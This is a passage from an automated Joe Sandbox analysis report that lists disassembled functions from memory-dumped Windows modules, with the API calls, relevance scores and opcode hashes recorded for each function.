                                                      • Part of subcall function 00007FFDFF162070: HeapFree.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00007FFDFF15F368,?,?,?), ref: 00007FFDFF162085
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Value$ErrorLast$FeatureFreeHeapPresentProcessor
                                                    • String ID:
                                                    • API String ID: 4194406788-0
                                                    • Opcode ID: 0b72b8b24379cf3aba06070db9776a7f2e5256b2bc6a3ecfd59abc98a38d98a5
                                                    • Instruction ID: 869c54ffc66e41d68bd7c56efc42576ec4092052aba419bc48d2e55d909bdef2
                                                    • Opcode Fuzzy Hash: 0b72b8b24379cf3aba06070db9776a7f2e5256b2bc6a3ecfd59abc98a38d98a5
                                                    • Instruction Fuzzy Hash: 80C15923F09A428AEB248F64D464B7827A1AB44BA8F084739EE7D577D9DF38E545C300
                                                    Function 00007FF6399B79B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • FindFirstFileW.KERNEL32(?,00007FF6399B7EF9,00007FF6399B39E6), ref: 00007FF6399B7A1B
                                                    • RemoveDirectoryW.KERNEL32(?,00007FF6399B7EF9,00007FF6399B39E6), ref: 00007FF6399B7A9E
                                                    • DeleteFileW.KERNEL32(?,00007FF6399B7EF9,00007FF6399B39E6), ref: 00007FF6399B7ABD
                                                    • FindNextFileW.KERNEL32(?,00007FF6399B7EF9,00007FF6399B39E6), ref: 00007FF6399B7ACB
                                                    • FindClose.KERNEL32(?,00007FF6399B7EF9,00007FF6399B39E6), ref: 00007FF6399B7ADC
                                                    • RemoveDirectoryW.KERNEL32(?,00007FF6399B7EF9,00007FF6399B39E6), ref: 00007FF6399B7AE5
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
                                                    • String ID: %s\*
                                                    • API String ID: 1057558799-766152087
                                                    • Opcode ID: 37c75c647de740c4d03e434983ba542f23ef98c0d39288f6f50529afbb256bed
                                                    • Instruction ID: 9b3062bb9eced70b9f5a44a8f542fc99120c9f293cc927ccb8e8015a742684cf
                                                    • Opcode Fuzzy Hash: 37c75c647de740c4d03e434983ba542f23ef98c0d39288f6f50529afbb256bed
                                                    • Instruction Fuzzy Hash: 3D417321A0C54395EA609F28E8946B96372FF94754F480632D59DC2BDEDF3CE64ADF00
                                                    Function 00007FFDFF169349 Relevance: 10.8, APIs: 7, Instructions: 293COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF16922B
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF16923E
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF16926C
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF169292
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF1692A9
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF1692B7
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,00000000,00007FFDFF1690F4,?,?,00007FFDFF168CAC), ref: 00007FFDFF1692C2
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorLast$Value
                                                    • String ID:
                                                    • API String ID: 1883355122-0
                                                    • Opcode ID: 0b10746108f9c867f2050e6f35d699da49a0c84ddc44cd7e880b2d0c7f7e3323
                                                    • Instruction ID: 7900afb2f639a75e8f9daa1b7f37edfc33a2bc73ad337e5f08d4ea464f9a8134
                                                    • Opcode Fuzzy Hash: 0b10746108f9c867f2050e6f35d699da49a0c84ddc44cd7e880b2d0c7f7e3323
                                                    • Instruction Fuzzy Hash: EAC19D23F0965686FF158B65D560AB823A0BF54B98F405379DE3E876DEEF2DE9018200
                                                    Function 00007FF6399BC44C Relevance: 10.6, APIs: 7, Instructions: 71COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                                    • String ID:
                                                    • API String ID: 3140674995-0
                                                    • Opcode ID: 59201671b846c18328c4c6cdbad1e823a2b0fec8eaed916d44c3dc4e1cb48f19
                                                    • Instruction ID: 88cc63fa2d3d78d5702b9939fa759bd5f20276f3867e74f08a6b3a9732b2e0c4
                                                    • Opcode Fuzzy Hash: 59201671b846c18328c4c6cdbad1e823a2b0fec8eaed916d44c3dc4e1cb48f19
                                                    • Instruction Fuzzy Hash: A7314172609B8286EB609F64E8803ED7366FB45744F08403ADB4D87B99EF3CD548DB10
                                                    Function 00007FF6399C9924 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                                    • String ID:
                                                    • API String ID: 1239891234-0
                                                    • Opcode ID: f336cc4ee628281f12481126c86b188c106f14650002c00baa1860decbda2c10
                                                    • Instruction ID: 6c89e3529143237bf87c122650a5b115976cedba898c3b9db555cf104b33408d
                                                    • Opcode Fuzzy Hash: f336cc4ee628281f12481126c86b188c106f14650002c00baa1860decbda2c10
                                                    • Instruction Fuzzy Hash: AF314236618F8286DB60CF25E8802AE73A5FB89754F580135EA9D87B9ADF3CD545CF00
                                                    Function 00007FFDFF1CB0AC Relevance: 9.1, APIs: 6, Instructions: 77COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                                    • String ID:
                                                    • API String ID: 1239891234-0
                                                    • Opcode ID: 3baf917f416f7064cf3d0989f29636da34f546af8597ff9f9722e96ef9ae733c
                                                    • Instruction ID: 12c031d826a8a6a1089df860b3e65f154ced5ed8a93226229c4a51260b046b7e
                                                    • Opcode Fuzzy Hash: 3baf917f416f7064cf3d0989f29636da34f546af8597ff9f9722e96ef9ae733c
                                                    • Instruction Fuzzy Hash: 25314F36B08B8296DB60CF25E8506A973A4FB88B48F540236DBAD87B99DF38D544C700
                                                    Function 00007FFDFF1C9D94 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 63COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,00000002,00007FFDFF1CA14A), ref: 00007FFDFF1C9DF8
                                                    • GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,00000002,00007FFDFF1CA14A), ref: 00007FFDFF1C9E6D
                                                    • GetACP.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,00000002,00007FFDFF1CA14A), ref: 00007FFDFF1C9E86
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: InfoLocale
                                                    • String ID: ACP$OCP
                                                    • API String ID: 2299586839-711371036
                                                    • Opcode ID: 16e06fddd5e05500c386674c4122e4722aa4802574e0c63834a3b72dcb154894
                                                    • Instruction ID: 94c8454a3686ab14ca0e476efb13957476899ddc5304324e772053010bf0b7a8
                                                    • Opcode Fuzzy Hash: 16e06fddd5e05500c386674c4122e4722aa4802574e0c63834a3b72dcb154894
                                                    • Instruction Fuzzy Hash: DB216132F1864292EB60DF21E4A09AA6761FB54B40F944231DA7D836DDEF3CE945D740
                                                    Function 00007FF6399D0B84 Relevance: 7.8, APIs: 5, Instructions: 282COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: FileFindFirst_invalid_parameter_noinfo
                                                    • String ID:
                                                    • API String ID: 2227656907-0
                                                    • Opcode ID: 88c6eeb3815b689bec9e785de6a4435637107cd6a4a104e99c849aa3a7604df1
                                                    • Instruction ID: 3225b58b04e989c1bd281be9aeffe71f8d7845a520adcc52ca967e6e991e113f
                                                    • Opcode Fuzzy Hash: 88c6eeb3815b689bec9e785de6a4435637107cd6a4a104e99c849aa3a7604df1
                                                    • Instruction Fuzzy Hash: B3B1C722B1869281EA60DF25D8802B96392EF54BE4F5D5132ED5D87BDEDF3CE441EB00
                                                    Function 00007FFDFF1C9F54 Relevance: 7.7, APIs: 5, Instructions: 200COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FFDFF158354: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF158363
                                                      • Part of subcall function 00007FFDFF158354: FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF158371
                                                      • Part of subcall function 00007FFDFF158354: FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF158385
                                                      • Part of subcall function 00007FFDFF158354: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF1583A1
                                                      • Part of subcall function 00007FFDFF158354: FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF1583C3
                                                      • Part of subcall function 00007FFDFF158354: FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF1583EC
                                                      • Part of subcall function 00007FFDFF158354: FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF1583FE
                                                    • GetUserDefaultLCID.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,00000000,?,00000092,?), ref: 00007FFDFF1CA11C
                                                    • IsValidCodePage.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,00000000,?,00000092,?), ref: 00007FFDFF1CA157
                                                    • IsValidLocale.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,00000000,?,00000092,?), ref: 00007FFDFF1CA171
                                                    • GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,00000000,?,00000092,?), ref: 00007FFDFF1CA1BE
                                                    • GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,00000000,?,00000092,?), ref: 00007FFDFF1CA1DD
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Value$Locale$ErrorInfoLastValid$CodeDefaultPageUser
                                                    • String ID:
                                                    • API String ID: 210783716-0
                                                    • Opcode ID: 36ebb3905502ec542be5d465e7327d581fd16590f1bc2e7467bdeb04eba59e8c
                                                    • Instruction ID: 66457b28eb5afcf73c0fa0c9ecff0befe49924755ed37fc19d3da86846b75fb4
                                                    • Opcode Fuzzy Hash: 36ebb3905502ec542be5d465e7327d581fd16590f1bc2e7467bdeb04eba59e8c
                                                    • Instruction Fuzzy Hash: 01817A33F0861289EB219F61E471AFD27A6BB44B88F4A4635CA3D532C8DF39E945C340
                                                    Function 00007FFDFF1CD274 Relevance: 7.7, APIs: 5, Instructions: 170fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Find$Close$File$FirstNext
                                                    • String ID:
                                                    • API String ID: 3527384056-0
                                                    • Opcode ID: 99a68284b3e596885c6a6bf75931193191d6c96826e551d9681a46c875bacce1
                                                    • Instruction ID: a5af535aaeb6d94845a65ffe645880605c68a639b80bde114662632aad9a1d24
                                                    • Opcode Fuzzy Hash: 99a68284b3e596885c6a6bf75931193191d6c96826e551d9681a46c875bacce1
                                                    • Instruction Fuzzy Hash: 7B61B423F1868641FB209B65F864ABEB3A2AB84798F041231DE7D47ADDEF3CD0058704
                                                    Function 00007FFDFF1CD4E0 Relevance: 7.7, APIs: 5, Instructions: 153fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Find$Close$File$FirstNext
                                                    • String ID:
                                                    • API String ID: 3527384056-0
                                                    • Opcode ID: 6297bc2cc70f4f77873b2fd98c96ff7b48e2a850c098bb88d4ea9723aff2a5b6
                                                    • Instruction ID: 4cca0ffd40fbc26c99559d2eb67f578610b7d4b62dd81e3d9cd584e972308c44
                                                    • Opcode Fuzzy Hash: 6297bc2cc70f4f77873b2fd98c96ff7b48e2a850c098bb88d4ea9723aff2a5b6
                                                    • Instruction Fuzzy Hash: CB51C027F1869645EB20DB26B8249BA73A1EB84798F500231EEBD47ACDEF3CD455D700
                                                    Function 00007FFDFF171604 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 78libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,?,?,00007FFDFF151139), ref: 00007FFDFF1716E2
                                                    • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,?,?,00007FFDFF151139), ref: 00007FFDFF1716F4
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: AddressInfoLocaleProc
                                                    • String ID: GetLocaleInfoEx$LCIDToLocaleName
                                                    • API String ID: 2353564440-967963574
                                                    • Opcode ID: 1682f26b5c7002b1e021b0fedfb78ee6d650727ff37fb1b891b17d51619bb9e2
                                                    • Instruction ID: 44a49b81246385c3c1b5262c2bc360761fd2377c6e10e3f89378bc9d5e076d3b
                                                    • Opcode Fuzzy Hash: 1682f26b5c7002b1e021b0fedfb78ee6d650727ff37fb1b891b17d51619bb9e2
                                                    • Instruction Fuzzy Hash: 6321A222F08A0142FB149B26A8309B62791BB94BD0F084735ED7DD77E9EFBCE9458344
                                                    Function 00007FFDFF1C79D8 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FFDFF152768), ref: 00007FFDFF1C7A04
                                                    • __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00007FFDFF1C7A11
                                                    • EnumSystemLocalesW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FFDFF152768), ref: 00007FFDFF1C7A29
                                                    • LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FFDFF152768), ref: 00007FFDFF1C7A4A
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: CriticalSection$EnterEnumLeaveLocalesSystem__crt_fast_encode_pointer
                                                    • String ID:
                                                    • API String ID: 477862506-0
                                                    • Opcode ID: 8c8e134516f2f5d3c6a8452773c07488fad1d7be98e293ec65c8985f7a1f4932
                                                    • Instruction ID: 3d6d4972a96e61b786c213665b2b524faa172c0aa808567d83bdb370461e5810
                                                    • Opcode Fuzzy Hash: 8c8e134516f2f5d3c6a8452773c07488fad1d7be98e293ec65c8985f7a1f4932
                                                    • Instruction Fuzzy Hash: 8001E932B18A46D2EB10CF15F8A08696361FBD8B88B844231D67EC37A9DF3CD659C340
                                                    Function 00007FFDFF1C9874 Relevance: 3.1, APIs: 2, Instructions: 51COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FFDFF158354: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF158363
                                                      • Part of subcall function 00007FFDFF158354: FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF158371
                                                      • Part of subcall function 00007FFDFF158354: FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF158385
                                                      • Part of subcall function 00007FFDFF158354: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF1583A1
                                                    • GetPrimaryLen.LIBCMT ref: 00007FFDFF1C98DD
                                                    • EnumSystemLocalesW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,00000040,00007FFDFF1CA0EF,?,?,?,00000000,?,00000092,?,?,?,00007FFDFF1ABE4A), ref: 00007FFDFF1C98F2
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorLastValue$EnumLocalesPrimarySystem
                                                    • String ID:
                                                    • API String ID: 1748788951-0
                                                    • Opcode ID: 4959e17747343424fffee702f6de95557868056ce53d104169838ebd61d7072d
                                                    • Instruction ID: 9e6d792b8aee26c76ca8fccefdd1269e4819f8a7dc3e742dc906c9e03dd11170
                                                    • Opcode Fuzzy Hash: 4959e17747343424fffee702f6de95557868056ce53d104169838ebd61d7072d
                                                    • Instruction Fuzzy Hash: 0911A0A3F0868596EB508F26E4606E93BA2EB81BA0F588335D67D473D9DF38D581C740
                                                    Function 00007FFDFF1C9928 Relevance: 3.0, APIs: 2, Instructions: 31COMMON
                                                    Download Yara Rule
                                                    APIs
